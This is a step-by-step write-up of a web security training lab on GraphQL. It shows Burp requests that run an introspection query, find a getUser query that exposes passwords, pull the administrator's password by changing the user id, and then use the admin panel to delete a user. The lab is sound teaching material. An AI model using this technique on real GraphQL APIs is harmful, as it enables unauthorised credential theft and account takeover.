Lab: Accidental exposure of private GraphQL fields

Identify the vulnerability

We now click on the My account link and try to log in to the application.

In the login form, we enter the user administrator and the password 123456.

After we have sent the form, we receive the message "Invalid username or password." This message is logical, as we do not have a valid user account for this blog. Now we open the Burp Proxy and search in the HTTP history for the request POST /graphql/v1.

POST /graphql/v1 HTTP/2
Host: 0a80002104ed80f58177e4e600e400d7.web-security-academy.net
Cookie: session=xsTUyzoAja2w2wyT5OHq2VynmqAKeGsy
Content-Length: 240
Sec-Ch-Ua-Platform: "macOS"
Accept-Language: de-DE,de;q=0.9
Accept: application/json
Sec-Ch-Ua: "Chromium";v="137", "Not/A)Brand";v="24"
Content-Type: application/json
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Origin: https://0a80002104ed80f58177e4e600e400d7.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a80002104ed80f58177e4e600e400d7.web-security-academy.net/login
Accept-Encoding: gzip, deflate, br
Priority: u=1, i

{
	"query":"\n    mutation login($input: LoginInput!) {\n        login(input: $input) {\n            token\n            success\n        }\n    }",
	"operationName":"login",
	"variables":{
		"input":{
			"username":"administrator",
			"password":"123456"
		}
	}
}

In the request, we see a GraphQL mutation that contains our user name adminstrator and the password 123456. We send this request to the Burp Repeater. To do this, we move the mouse over the request and press the right mouse button. In the context menu, we select the option Send to Repeater.

In the Burp Repeater, we move the mouse over our request and press the right mouse button again. In the context menu, we select GraphQL and then Set introspection query to insert an Introspection Query.

Our request should now look like this.

POST /graphql/v1 HTTP/2
Host: 0a80002104ed80f58177e4e600e400d7.web-security-academy.net
Cookie: session=xsTUyzoAja2w2wyT5OHq2VynmqAKeGsy
Content-Length: 1404
Sec-Ch-Ua-Platform: "macOS"
Accept-Language: de-DE,de;q=0.9
Accept: application/json
Sec-Ch-Ua: "Chromium";v="137", "Not/A)Brand";v="24"
Content-Type: application/json
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Origin: https://0a80002104ed80f58177e4e600e400d7.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a80002104ed80f58177e4e600e400d7.web-security-academy.net/login
Accept-Encoding: gzip, deflate, br
Priority: u=1, i

{"query":"query IntrospectionQuery {\n    __schema {\n        queryType {\n            name\n        }\n        mutationType {\n            name\n        }\n        subscriptionType {\n            name\n        }\n        types {\n            ...FullType\n        }\n        directives {\n            name\n            description\n            locations\n            args {\n                ...InputValue\n            }\n        }\n    }\n}\n\nfragment FullType on __Type {\n    kind\n    name\n    description\n    fields(includeDeprecated: true) {\n        name\n        description\n        args {\n            ...InputValue\n        }\n        type {\n            ...TypeRef\n        }\n        isDeprecated\n        deprecationReason\n    }\n    inputFields {\n        ...InputValue\n    }\n    interfaces {\n        ...TypeRef\n    }\n    enumValues(includeDeprecated: true) {\n        name\n        description\n        isDeprecated\n        deprecationReason\n    }\n    possibleTypes {\n        ...TypeRef\n    }\n}\n\nfragment InputValue on __InputValue {\n    name\n    description\n    type {\n        ...TypeRef\n    }\n    defaultValue\n}\n\nfragment TypeRef on __Type {\n    kind\n    name\n    ofType {\n        kind\n        name\n        ofType {\n            kind\n            name\n            ofType {\n                kind\n                name\n            }\n        }\n    }\n}"}

We send this request to the application and move the mouse to the Request section and press the right mouse button. We select GraphQL again, but this time we select the option Save graphQL queries to site map.

Now we open Target in the Burp Suite and then the Site map tab. There, in the path graphql/v1, we see the queries that we have just sent from the Burp Repeater. In the queries there is the query getUser, which returns the user name and password, the query only requires an id.

The following code snippet contains the query again.

{
	"query":"query($id: Int!) {\n  getUser(id: $id) {\n    id\n    username\n    password\n  }\n}",
	"variables":{
		"id":0
	}
}

Modify the query to retrieve the administrator credentials

We move the mouse over the request with the above query and send this request to Burp Repeater. This is done in the same way as we did above. We send the request to Burp Repeater and receive the following response.

HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 39

{
  "data": {
    "getUser": null
  }
}

The query did not return a user. We now open the GraphQL tab in the repeater. Here we see two sections Query and Variables. In the Query section, we see the GraphQL query from our request. In the Variables section, we see the id that we sent earlier. This is shown again in the following illustration.

We now change the id in the Variables section to the value 1 and send the request. In response, the following message appears in the Response section.

{
  "data": {
    "getUser": {
      "id": 1,
      "username": "administrator",
      "password": "1pytgkinshu4ilaaegq4"
    }
  }
}

We now log in with the data in the browser and click on the Admin panel link.

We then see the two users wiener and carlos. Next to the user carlos we click on Delete to delete the user.

We have now successfully completed the exercise.

Last updated